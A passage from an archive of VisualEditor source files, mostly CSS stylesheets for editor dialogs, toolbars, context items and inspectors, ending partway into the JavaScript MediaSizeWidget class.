	 * column-break-inside but it's not well supported yet.
	 */
	display: inline-block;
	width: 100%;
}

.ve-ui-commandHelpDialog-section h3 {
	text-align: center;
	margin: 0;
	padding: 0;
}

.ve-ui-commandHelpDialog-list {
	margin: 0.5em 0 1.5em 0;
}

.ve-ui-commandHelpDialog-list dd {
	display: inline-block;
	vertical-align: top;
	width: 45%;
	margin: 0;
}

.ve-ui-commandHelpDialog-list dt {
	display: inline-block;
	vertical-align: top;
	box-sizing: border-box;
	width: 55%;
	padding-right: 1em;
	text-align: right;
}

.ve-ui-commandHelpDialog-shortcut,
.ve-ui-commandHelpDialog-sequence {
	/* Support: Blink, Gecko, Webkit */
	/* Specify a valid second value to fix size, see T176636 */
	font-family: monospace, monospace;
	font-size: 0.8125em;
	font-weight: bold;
	font-style: normal;
}

.ve-ui-commandHelpDialog-shortcut > kbd,
.ve-ui-commandHelpDialog-sequence > kbd {
	background-color: #f8f9fa;
	color: #222;
	border: 1px solid #c8ccd1;
	border-radius: 2px;
	box-shadow: 0 1px 0 rgba( 0, 0, 0, 0.2 ), 0 0 0 2px #fff inset;
	display: inline-block;
	line-height: 1.4;
	padding: 0.1em 0.4em;
	margin: -0.1em 0.3em 0;
	text-shadow: 0 1px 0 #fff;
	text-transform: uppercase;
	text-align: center;
}

.ve-ui-commandHelpDialog-list dt > kbd {
	display: block;
	clear: right;
}

/* Enlarge vertical spacing in a list of shortcuts for one action */
.ve-ui-commandHelpDialog-list dt > kbd ~ kbd {
	margin-top: 0.5em;
}

.ve-ui-commandHelpDialog-sequence[ data-label ]::before {
	content: attr( data-label );
	font-weight: normal;
	font-style: italic;
	padding-right: 3px;
}

.ve-ui-commandHelpDialog-sequence kbd:not( .ve-ui-commandHelpDialog-specialKey ) {
	box-shadow: none;
	text-transform: none;
}

.ve-ui-commandHelpDialog-sequence kbd:not( .ve-ui-commandHelpDialog-specialKey ) + kbd:not( .ve-ui-commandHelpDialog-specialKey ) {
	margin-left: -0.5em;
	padding-left: 0;
	border-left: 0;
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
}

.ve-ui-commandHelpDialog-list dd,
.ve-ui-commandHelpDialog-list dt {
	line-height: 1.4;
	margin-top: 0.5em;
	margin-bottom: 0.5em;
}
ui/styles/dialogs/ve.ui.ToolbarDialog.css000066600000002747151334753760014443 0ustar00/*!
 * VisualEditor UserInterface ToolbarDialog styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-toolbarDialog {
	background: #fff;
}

.ve-ui-toolbarDialog-padded .oo-ui-window-body {
	padding: 0.375em; /* 0.3em / 0.8 */
}

.ve-ui-toolbarDialog-position-above {
	overflow-y: hidden;
	max-height: 0;
	transition: max-height 250ms;
}

.oo-ui-toolbar-position-top .ve-ui-toolbarDialog-position-above {
	border-top: 1px solid #c8ccd1;
}

.oo-ui-toolbar-position-bottom .ve-ui-toolbarDialog-position-above {
	border-bottom: 1px solid #c8ccd1;
}

.ve-ui-toolbarDialog-position-above.oo-ui-window-ready {
	/* approximate max height for transition */
	max-height: 150px;
}

.ve-ui-toolbarDialog-position-side {
	position: absolute;
	right: 0;
	border-left: 1px solid #c8ccd1;
	overflow-x: hidden;
	width: 0;
	margin-top: 1px;
	transition: width 250ms;
}

.ve-ui-surface-toolbarDialog-side {
	transition: margin 250ms, min-height 250ms;
	min-height: 40em;
}

.ve-ui-toolbarDialog-disabled {
	opacity: 0.5;
	pointer-events: none;
}

/* Override styles when nested in a ProcessDialog */
/* TODO: Use child selectors in ProcessDialog */
.ve-ui-toolbarDialog .oo-ui-window-head {
	height: 0;
	min-height: 0;
	outline: 0;
}

.ve-ui-toolbarDialog .oo-ui-window-body {
	top: 0;
}

/* TODO: fix this upstream */
.ve-ui-toolbarDialog .oo-ui-window-frame {
	position: relative;
}

.ve-ui-toolbarDialog-position-below {
	position: fixed;
	bottom: 0;
	left: 0;
	right: 0;
}
ui/styles/dialogs/ve.ui.FindAndReplaceDialog.css000066600000002233151334753760015626 0ustar00/*!
 * VisualEditor UserInterface FindAndReplaceDialog styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-findAndReplaceDialog-row {
	display: table;
	min-width: 30em;
	padding-bottom: 0.3em;
}

.ve-ui-findAndReplaceDialog-row:last-child {
	/* Extra pixel for button shadows */
	padding-bottom: 1px;
}

.ve-ui-findAndReplaceDialog-cell {
	display: table-cell;
	vertical-align: middle;
	white-space: nowrap;
	padding-right: 1em;
}

.ve-ui-findAndReplaceDialog-cell:last-child {
	padding-right: 0;
}

.ve-ui-findAndReplaceDialog-cell-input {
	width: 100%;
}

.ve-ui-findAndReplaceDialog-cell-input .oo-ui-textInputWidget {
	max-width: none;
}

.ve-ce-surface-selections-findResults .ve-ce-surface-selection {
	opacity: 0.2;
}

.ve-ce-surface-selections-findResults .ve-ce-surface-selection > div {
	background: #28bb0b;
	position: absolute;
	margin-top: -0.15em;
	padding: 0.15em 0;
	border-radius: 2px;
}

.ve-ce-surface-selections-findResults .ve-ce-surface-selections-findResult-focused {
	opacity: 0.4;
}

.ve-ce-surface-selections-findResults .ve-ce-surface-selections-findResult-focused > div {
	background: #1f850b;
}
ui/styles/dialogs/ve.ui.TableDialog.css000066600000001117151334753760014056 0ustar00/*!
 * VisualEditor MediaWiki UserInterface TableDialog styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see AUTHORS.txt
 * @license The MIT License (MIT); see LICENSE.txt
 */

.ve-ui-tableDialog-panel {
	max-width: 20em;
	margin: 0 auto;
}

.ve-ui-tableDialog .oo-ui-fieldLayout.oo-ui-fieldLayout-align-left.oo-ui-labelElement > .oo-ui-fieldLayout-body > .oo-ui-fieldLayout-header {
	width: 75%;
	margin-right: 0;
}

.ve-ui-tableDialog .oo-ui-fieldLayout.oo-ui-fieldLayout-align-left > .oo-ui-fieldLayout-body > .oo-ui-fieldLayout-field {
	width: 25%;
	text-align: right;
}
ui/styles/dialogs/ve.ui.SpecialCharacterDialog.css000066600000002532151334753760016226 0ustar00/*!
 * VisualEditor UserInterface SpecialCharacterDialog styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-specialCharacterDialog .oo-ui-outlineOptionWidget {
	padding: 0.25em 0.5em;
}

/* When displaying inside another dialog, make the menu narrower */
.oo-ui-dialog .ve-ui-specialCharacterDialog .oo-ui-bookletLayout .oo-ui-menuLayout-menu {
	width: 10em;
}

.oo-ui-dialog .ve-ui-specialCharacterDialog .oo-ui-bookletLayout .oo-ui-menuLayout-content {
	left: 10em;
}

.oo-ui-bookletLayout-stackLayout > .ve-ui-specialCharacterPage {
	padding: 0.5em;
}

.ve-ui-specialCharacterPage h3 {
	color: #54595d;
	margin: 0 0 0.5em 0;
	font-weight: normal;
	font-size: 1em;
}

.ve-ui-specialCharacterPage-characters {
	white-space: normal;
}

.ve-ui-specialCharacterPage-character {
	cursor: pointer;
	font-size: 1.5em;
	line-height: 1.8em;
	min-width: 1.8em;
	height: 1.8em;
	text-align: center;
	display: inline-block;
	vertical-align: top;
	margin: 0 3px 3px 0;
	border: 1px solid #eaecf0;
	transition: border-color 200ms;
}

.ve-ui-specialCharacterPage-character:hover {
	border-color: #c8ccd1;
}

.ve-ui-specialCharacterPage-character-source {
	/* Specify a valid second value to fix size in Chrome/FF */
	font-family: monospace, 'Courier';
	font-size: 1em;
	line-height: 2.7em;
	height: 2.7em;
	padding: 0 0.2em;
}
ui/styles/dialogs/ve.ui.ProgressDialog.css000066600000000777151334753760014646 0ustar00/*!
 * VisualEditor UserInterface ProgressDialog styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-progressDialog-row {
	display: table;
	width: 100%;
}

.ve-ui-progressDialog-row:not( :last-child ) {
	margin-bottom: 1em;
}

.ve-ui-progressDialog-row .oo-ui-fieldLayout {
	display: table-cell;
	padding-bottom: 0.45em;
}

.ve-ui-progressDialog-row .oo-ui-buttonWidget {
	display: table-cell;
	vertical-align: bottom;
	width: 1.9em;
	padding-left: 1em;
}
ui/styles/contextitems/ve.ui.LanguageContextItem.css000066600000000453151334753760016724 0ustar00/*!
 * VisualEditor UserInterface LanguageContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-languageContextItem .ve-ui-linearContextItem-body {
	color: #54595d;
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
}
ui/styles/contextitems/ve.ui.AlignableContextItem.css000066600000000356151334753760017061 0ustar00/*!
 * VisualEditor UserInterface AlignableContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-alignableContextItem .ve-ui-linearContextItem-body {
	text-align: center;
}
ui/styles/contextitems/ve.ui.ToolContextItem.css000066600000000422151334753760016112 0ustar00/*!
 * VisualEditor UserInterface ToolContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-toolContextItem .ve-ui-linearContextItem-body {
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
}
ui/styles/contextitems/ve.ui.TableLineContextItem.css000066600000000717151334753760017043 0ustar00/*!
 * VisualEditor UserInterface TableLineContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-tableLineContextItem-actionButton {
	display: block;
	margin-left: 0 !important; /* stylelint-disable-line declaration-no-important */
}

.ve-ui-tableLineContextItem-actionButton.oo-ui-labelElement.oo-ui-iconElement > .oo-ui-buttonElement-button {
	display: block;
	border: 0.2em solid transparent;
}
ui/styles/contextitems/ve.ui.CommentContextItem.css000066600000001073151334753760016602 0ustar00/*!
 * VisualEditor UserInterface CommentContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-commentContextItem .ve-ui-linearContextItem-body {
	overflow: auto;
	max-height: 10em;
	/* Support: Blink, Gecko, Webkit */
	/* Specify a valid second value to fix size, see T176636 */
	font-family: monospace, monospace;
	white-space: pre-wrap;
	line-height: 1.25em;
}

.ve-ui-desktopContext .ve-ui-commentContextItem .ve-ui-linearContextItem-body {
	padding: 0.5em 0.5em 0 0.5em;
	margin: 0 0.5em 1em 0.5em;
}
ui/styles/contextitems/ve.ui.LinearContextItem.css000066600000003571151334753760016417 0ustar00/*!
 * VisualEditor UserInterface LinearContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-linearContextItem-head {
	min-height: 32px;
	padding: 0.5em;
	display: flex;
	align-items: center;
}

.ve-ui-linearContextItem-title {
	padding: 0 0.5em;
	white-space: nowrap;
	flex: 1;
}

.ve-ui-mobileContext .ve-ui-linearContextItem-title {
	font-weight: bold;
}

.ve-ui-linearContextItem-title > .oo-ui-labelWidget {
	margin-left: 0.3em;
	word-wrap: break-word;
	white-space: pre-line;
	vertical-align: middle;
}

.ve-ui-linearContextItem-body {
	max-height: 15em;
	overflow: auto;
}

.ve-ui-linearContextItem-empty .ve-ui-linearContextItem-body {
	display: none;
}

.ve-ui-mobileContext .ve-ui-linearContextItem-body-action-wrapper {
	/* Wrapper to vertically center body-action in a min-heighted container */
	/* We use a wrapper so that body-action itself can main top-alignment of its items */
	border-top: 1px solid #eaecf0;
	display: flex;
	align-items: center;
	flex-wrap: wrap;
	min-height: 4.5em;
}

.ve-ui-mobileContext .ve-ui-linearContextItem-body-action {
	display: flex;
	width: 100%;
}

.ve-ui-mobileContext .ve-ui-linearContextItem-empty .ve-ui-linearContextItem-body-action-wrapper {
	display: none;
}

.ve-ui-mobileContext-close + .ve-ui-linearContextItem-empty {
	/* Make room for close button, if the first item is empty */
	margin-right: 2.5em;
}

.ve-ui-mobileContext .ve-ui-linearContextItem-head {
	padding: 0.25em 0.5em;
}

.ve-ui-mobileContext .ve-ui-linearContextItem-body {
	padding: 0.5em 1em;
	flex: 1;
}

.ve-ui-mobileContext .ve-ui-linearContextItem-actions {
	width: auto;
	padding: 0.25em 0.5em;
}

.ve-ui-desktopContext .ve-ui-linearContextItem-body:not( :empty ) {
	padding: 0 1em 1em 1em;
}

.ve-ui-linearContextItem-foot:not( :empty ) {
	border-top: 1px solid #eaecf0;
	padding: 0.25em 1em;
	text-align: right;
}
ui/styles/contextitems/ve.ui.LinkContextItem.css000066600000004573151334753760016105 0ustar00/*!
 * VisualEditor UserInterface LinkContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-desktopContext .ve-ui-linkContextItem .ve-ui-linearContextItem-body {
	padding-bottom: 0.8em;
}

.ve-ui-linkContextItem .ve-ui-linkContextItem-link {
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
	display: block;
}

.ve-ui-mobileContext .ve-ui-linkContextItem .ve-ui-linearContextItem-body {
	overflow: hidden;
	/* Break long links */
	word-wrap: break-word;
}

.ve-ui-mobileContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label {
	display: flex;
	width: 100%;
	margin-bottom: 0.5em;
}

.ve-ui-mobileContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label-label,
.ve-ui-mobileContext .ve-ui-linkContextItem .ve-ui-linkContextItem-link-label {
	display: block;
	font-size: 0.8125em;
}

.ve-ui-mobileContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label-preview {
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
	font-weight: bold;
}

.ve-ui-mobileContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label-body {
	min-width: 0;
}

.ve-ui-mobileContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label-action {
	padding: 0.25em 0.5em;
}

.ve-ui-desktopContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label {
	margin: 0.7em -1em 0;
	padding: 0.7em 1em 0;
	border-top: 1px solid #eaecf0;
	display: flex;
	width: 100%;
}

.ve-ui-desktopContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label > div {
	white-space: nowrap;
}

.ve-ui-desktopContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label .oo-ui-labelElement-label {
	display: inline-block;
	vertical-align: middle;
}

.ve-ui-desktopContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label .ve-ui-linkContextItem-label-preview {
	flex: 1;
	min-width: 0;
	color: #72777d;
	padding-left: 0.6em;
}

.ve-ui-desktopContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label .ve-ui-linkContextItem-label-preview .oo-ui-labelElement-label {
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
	width: 100%;
}

.ve-ui-desktopContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label .ve-ui-linkContextItem-label-label .oo-ui-labelElement-label {
	padding-left: 0.3em;
}

.ve-ui-desktopContext .ve-ui-linkContextItem .ve-ui-linkContextItem-label .ve-ui-linkContextItem-label-action .oo-ui-buttonWidget {
	margin: -7px -7px -7px 0;
}
ui/styles/contextitems/ve.ui.CommentAnnotationContextItem.css000066600000000352151334753760020634 0ustar00/*!
 * VisualEditor UserInterface CommentAnnotationContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-commentAnnotationContextItem-comment {
	margin-bottom: 0.5em;
}
ui/styles/ve.ui.DesktopContext.css000066600000001511151334753760013241 0ustar00/*!
 * VisualEditor UserInterface Context styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-desktopContext {
	position: absolute;
}

.ve-ui-desktopContext-menu {
	position: absolute;
	width: 400px;
}

.ve-ui-desktopContext-menu .oo-ui-toolbar-bar {
	white-space: nowrap;
	border: 0;
	background: none;
}

.ve-ui-desktopContext-menu .oo-ui-toolGroup {
	border: 0;
	margin: 0;
}

.ve-ui-desktopContext-menu .oo-ui-tool,
.ve-ui-desktopContext-menu .oo-ui-tool:hover {
	border: 0;
}

.ve-ui-desktopContext-menu .oo-ui-tool:active,
.ve-ui-desktopContext-menu .oo-ui-tool-active {
	background-image: none;
}

.ve-ui-desktopContext-floating {
	position: fixed;
}

.ve-ui-desktopContext-embedded > .oo-ui-popupWidget > .oo-ui-popupWidget-popup {
	margin-top: 0.25em;
	margin-right: 0.25em;
}
ui/styles/ve.ui.DebugBar.css000066600000004664151334753760011752 0ustar00/*!
 * VisualEditor Initialization Debug Bar styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-debugBar {
	clear: both;
}

.ve-ui-debugBar-commands {
	margin-bottom: -0.5em;
}

.ve-ui-debugBar-commands > .oo-ui-widget,
.ve-ui-debugBar-commands-divider {
	display: inline-block;
	vertical-align: middle;
	margin-right: 1em;
	margin-bottom: 0.5em;
}

.ve-ui-debugBar-commands > .oo-ui-widget:last-child {
	margin-right: 0;
}

.ve-ui-debugBar-selectionLabel {
	min-width: 20em;
	/* Support: Blink, Gecko, Webkit */
	/* Specify a valid second value to fix size, see T176636 */
	font-family: monospace, monospace;
}

.ve-ui-debugBar-commands-divider {
	border-right: 1px solid #c8ccd1;
	width: 0;
}

.ve-ui-debugBar-dump {
	margin-top: 2em;
}

.ve-ui-debugBar-dump > table {
	background-color: #f8f9fa;
	font-size: 0.85em;
	width: 100%;
	border: 1px solid #c8ccd1;
	border-radius: 0;
	border-top-right-radius: 0.25em;
	border-top-left-radius: 0.25em;
}

.ve-ui-debugBar-dump > .oo-ui-toggleWidget {
	margin-bottom: 0.25em;
}

.ve-ui-debugBar-dump td {
	background-color: #fff;
	padding: 0.25em 1em;
	vertical-align: top;
}

.ve-ui-debugBar-dump-linmod-data {
	width: 50%;
}

.ve-ui-debugBar-dump th {
	color: #54595d;
	padding: 0.5em 1em;
	text-shadow: 0 1px 1px #fff;
}

.ve-ui-debugBar-dump ol {
	color: #72777d;
	padding-left: 1.5em;
}

.ve-ui-debugBar-dump li .ve-ui-debugBar-dump-element,
.ve-ui-debugBar-dump li .ve-ui-debugBar-dump-char,
.ve-ui-debugBar-dump li .ve-ui-debugBar-dump-achar {
	background-color: #f8f9fa;
	color: #000;
	display: inline-block;
	border-radius: 2px;
	margin: 0.25em 0.25em 0.25em 0;
	padding: 0.125em 0.5em;
	text-shadow: 0 1px 1px #fff;
}

.ve-ui-debugBar-dump li .ve-ui-debugBar-dump-element {
	background-color: #def;
}

.ve-ui-debugBar-dump li .ve-ui-debugBar-dump-char {
	background-color: #dfe;
}

.ve-ui-debugBar-dump li .ve-ui-debugBar-dump-achar {
	background-color: #fed;
}

.ve-ui-debugBar-dump li .ve-ui-debugBar-dump-note {
	color: #a2a9b1;
}

.ve-ui-debugBar-filibuster {
	background-color: #f8f9fa;
	font-size: 0.875em;
	margin-top: 2em;
	width: 100%;
	border: 1px solid #c8ccd1;
	border-radius: 0;
	border-top-right-radius: 0.25em;
	border-top-left-radius: 0.25em;
}

.ve-ui-debugBar-transactions > ol > li {
	border-left: 2em solid #f8f9fa;
}

.ve-ui-debugBar-transactions ol ol {
	margin: 1em 0;
	padding-left: 0;
}

.ve-ui-debugBar-transactions ol ol li {
	padding-left: 1ex;
}
ui/styles/ve.ui.Toolbar.css000066600000010401151334753760011663 0ustar00/*!
 * VisualEditor Toolbar styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/* stylelint-disable no-descending-specificity */

.ve-ui-toolbar {
	/* Used by mobile context position hack */
	position: relative;
}

.ve-ui-toolbar > .oo-ui-toolbar-bar {
	/* Make sure the toolbar is shown on top of surface contents even when not floating,
	   for correct rendering of dropdowns, popups etc. */
	z-index: 2;
}

.ve-ui-toolbar.ve-ui-toolbar-empty > .oo-ui-toolbar-bar {
	border: 0;
	box-shadow: none;
}

/* PositionedTargetToolbar */

.ve-ui-toolbar-floating > .oo-ui-toolbar-bar {
	position: fixed;
	top: 0;
	border-top: 0;
}

.ve-ui-toolbar.oo-ui-toolbar-position-bottom > .oo-ui-toolbar-bar {
	/* For bottom toolbars though (e.g. Flow), we apparently want the toolbar to be below the surface
	   overlay, but its dropdowns, popups etc. to be above it - this seems to work… (T169076) */
	z-index: auto;
}

.ve-ui-toolbar > .oo-ui-toolbar-bar .oo-ui-toolbar-bar {
	/* Dumb broken nested toolbars ruin everything again (T169617) */
	z-index: auto;
}

/* Mobile toolbar */

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools {
	display: flex;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools .oo-ui-barToolGroup .oo-ui-tool-link {
	min-height: 3em;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-toolGroup {
	flex: 1;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .ve-ui-toolbar-group-back {
	border-right: 1px solid #eaecf0;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-toolGroup-empty {
	display: none;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-indicatorElement > .oo-ui-popupToolGroup-handle {
	/* stylelint-disable-next-line declaration-no-important */
	padding: 3em 0 0 0 !important;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-popupToolGroup > .oo-ui-popupToolGroup-handle > .oo-ui-iconElement-icon,
.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-popupToolGroup > .oo-ui-popupToolGroup-handle > .oo-ui-indicatorElement-indicator {
	left: 50%;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-popupToolGroup > .oo-ui-popupToolGroup-handle > .oo-ui-iconElement-icon {
	/* No indicator */
	margin-left: -0.714285em;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-popupToolGroup.oo-ui-indicatorElement {
	/* Indicator uses up whitespace, so increase width to make spacing look even */
	flex: 1.2;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-popupToolGroup.oo-ui-indicatorElement > .oo-ui-popupToolGroup-handle > .oo-ui-iconElement-icon {
	margin-left: -1em;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-popupToolGroup > .oo-ui-popupToolGroup-handle > .oo-ui-indicatorElement-indicator {
	margin-left: 0.375em;
	width: 0.5625em;
	min-width: 0.5625em;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-barToolGroup {
	text-align: center;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-barToolGroup > .oo-ui-toolGroup-tools > .oo-ui-tool {
	width: 100%;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-barToolGroup > .oo-ui-toolGroup-tools > .oo-ui-tool > .oo-ui-tool-link {
	padding: 0.875em 0;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-barToolGroup > .oo-ui-toolGroup-tools > .oo-ui-tool > .oo-ui-tool-link > .oo-ui-iconElement-icon:not( .oo-ui-tool-checkIcon ) {
	position: static;
	display: inline-block;
	vertical-align: middle;
}

.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-barToolGroup > .oo-ui-toolGroup-tools > .oo-ui-tool > .oo-ui-tool-link > .oo-ui-tool-title {
	vertical-align: middle;
	margin-left: 0.3em;
	/* T260368 */
	line-height: 1em;
}

/* Hide keyboard shortcut hints on mobile. Screen space is limited, and it's unlikely that the user
   has a keyboard with modifier keys. */
.ve-ui-targetToolbar-mobile .oo-ui-popupToolGroup-tools .oo-ui-tool-link .oo-ui-tool-accel,
.ve-ui-overlay-global-mobile .oo-ui-popupToolGroup-tools .oo-ui-tool-link .oo-ui-tool-accel {
	display: none;
}

@media screen and ( max-width: 767px ) {
	.ve-ui-targetToolbar-mobile .oo-ui-toolbar-tools > .oo-ui-barToolGroup > .oo-ui-toolGroup-tools > .oo-ui-tool > .oo-ui-tool-link > .oo-ui-tool-title {
		/* stylelint-disable-next-line declaration-no-important */
		display: none !important;
	}
}
ui/styles/inspectors/ve.ui.CommentInspector.css000066600000000340151334753760015744 0ustar00/*!
 * VisualEditor UserInterface CommentInspector styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-commentInspector-content .oo-ui-textInputWidget {
	width: 100%;
}
ui/styles/inspectors/ve.ui.FragmentInspector.css000066600000001217151334753760016111 0ustar00/*!
 * VisualEditor UserInterface FragmentInspector styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-fragmentInspector-container.oo-ui-panelLayout-padded,
.ve-ui-fragmentInspector-container .oo-ui-indexLayout-stackLayout > .oo-ui-panelLayout-padded {
	padding: 0.75em;
}

.ve-ui-fragmentInspector-content .oo-ui-processDialog-actions-other .oo-ui-buttonElement-framed {
	margin-left: 0;
	margin-bottom: 0;
}

/* Don't show scroll bars before ready for accurate measurement */
.oo-ui-window-content-setup:not( .oo-ui-window-content-ready ) .ve-ui-fragmentInspector-container {
	overflow: hidden;
}
ui/styles/inspectors/ve.ui.LanguageInspector.css000066600000000725151334753760016074 0ustar00/*!
 * VisualEditor UserInterface LanguageInspector styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-languageInspector-languageField.oo-ui-fieldLayout-align-left.oo-ui-labelElement > .oo-ui-fieldLayout-body > .oo-ui-fieldLayout-header {
	width: 7em;
}

.ve-ui-languageInspector-languageField.oo-ui-labelElement.oo-ui-fieldLayout-align-left > .oo-ui-fieldLayout-body > .oo-ui-fieldLayout-field {
	width: auto;
}
ui/widgets/ve.ui.MediaSizeWidget.js000066600000041141151334753760013253 0ustar00/*!
 * VisualEditor UserInterface MediaSizeWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Widget that lets the user edit dimensions (width and height),
 * based on a scalable object.
 *
 * @class
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {ve.dm.Scalable} [scalable]
 * @param {Object} [config] Configuration options
 * @cfg {boolean} [noDefaultDimensions] The item being sized doesn't have default dimensions
 * @cfg {string} [dimensionsAlign] Alignment for the dimensions widget
 */
ve.ui.MediaSizeWidget = function VeUiMediaSizeWidget( scalable, config ) {
	// Configuration
	config = config || {};

	this.scalable = scalable;

	// Parent constructor
	ve.ui.MediaSizeWidget.super.call( this, config );

	// Properties
	this.ratio = {};
	this.currentDimensions = {};
	this.maxDimensions = {};
	this.valid = null;
	this.noDefaultDimensions = !!config.noDefaultDimensions;
	this.dimensionsAlign = config.dimensionsAlign || 'right';

	// Define button select widget
	this.sizeTypeSelect = new OO.ui.ButtonSelectWidget( {
		classes: [ 've-ui-mediaSizeWidget-section-sizetype' ]
	} );
	this.sizeTypeSelect.addItems( [
		new OO.ui.ButtonOptionWidget( {
			data: 'default',
			label: ve.msg( 'visualeditor-mediasizewidget-sizeoptions-default' )
		} ),
		// TODO: when upright is supported by Parsoid
		// new OO.ui.ButtonOptionWidget( {
		// data: 'scale',
		// label: ve.msg( 'visualeditor-mediasizewidget-sizeoptions-scale' )
		// } ),
		new OO.ui.ButtonOptionWidget( {
			data: 'custom',
			label: ve.msg( 'visualeditor-mediasizewidget-sizeoptions-custom' )
		} )
	] );
	var sizeTypeField = new OO.ui.FieldLayout( this.sizeTypeSelect );

	// Define scale
	/*
	this.scaleInput = new OO.ui.TextInputWidget();
	scalePercentLabel = new OO.ui.LabelWidget( {
		input: this.scaleInput,
		label: ve.msg( 'visualeditor-mediasizewidget-label-scale-percent' )
	} );
	*/

	this.dimensions = new ve.ui.DimensionsWidget( { validate: this.isValid.bind( this ) } );

	// Error label is available globally so it can be displayed and
	// hidden as needed
	this.errorLabel = new OO.ui.LabelWidget( {
		label: ve.msg( 'visualeditor-mediasizewidget-label-defaulterror' )
	} );

	// Field layouts
	/*
	scaleField = new OO.ui.FieldLayout(
		this.scaleInput, {
			align: 'right',
			// TODO: when upright is supported by Parsoid
			// classes: ['ve-ui-mediaSizeWidget-section-scale'],
			label: ve.msg( 'visualeditor-mediasizewidget-label-scale' )
		}
	);
	TODO: when upright is supported by Parsoid
	this.scaleInput.$element.append( scalePercentLabel.$element );
	*/
	var dimensionsField = new OO.ui.FieldLayout(
		this.dimensions, {
			align: this.dimensionsAlign,
			classes: [ 've-ui-mediaSizeWidget-section-custom' ]
		}
	);

	// Build GUI
	this.$element.addClass( 've-ui-mediaSizeWidget' );
	if ( !this.noDefaultDimensions ) {
		this.$element.append( sizeTypeField.$element );
	}
	this.$element.append( dimensionsField.$element );
	// TODO: when upright is supported by Parsoid
	// this.$element.append( scaleField.$element );
	this.$element.append(
		$( '<div>' )
			.addClass( 've-ui-mediaSizeWidget-label-error' )
			.append( this.errorLabel.$element )
	);

	// Events
	this.dimensions.connect( this, {
		widthChange: [ 'onDimensionsChange', 'width' ],
		heightChange: [ 'onDimensionsChange', 'height' ]
	} );
	// TODO: when upright is supported by Parsoid
	// this.scaleInput.connect( this, { change: 'onScaleChange' } );
	this.sizeTypeSelect.connect( this, { choose: 'onSizeTypeChoose' } );

};

/* Inheritance */

OO.inheritClass( ve.ui.MediaSizeWidget, OO.ui.Widget );

/* Events */

/**
 * @event change
 * @param {Object} dimensions Width and height dimensions
 */

/**
 * @event valid
 * @param {boolean} isValid Current dimensions are valid
 */

/**
 * @event changeSizeType
 * @param {string} sizeType 'default', 'custom' or 'scale'
 */

/* Methods */

/**
 * Respond to change in original dimensions in the scalable object.
 * Specifically, enable or disable the 'default' option.
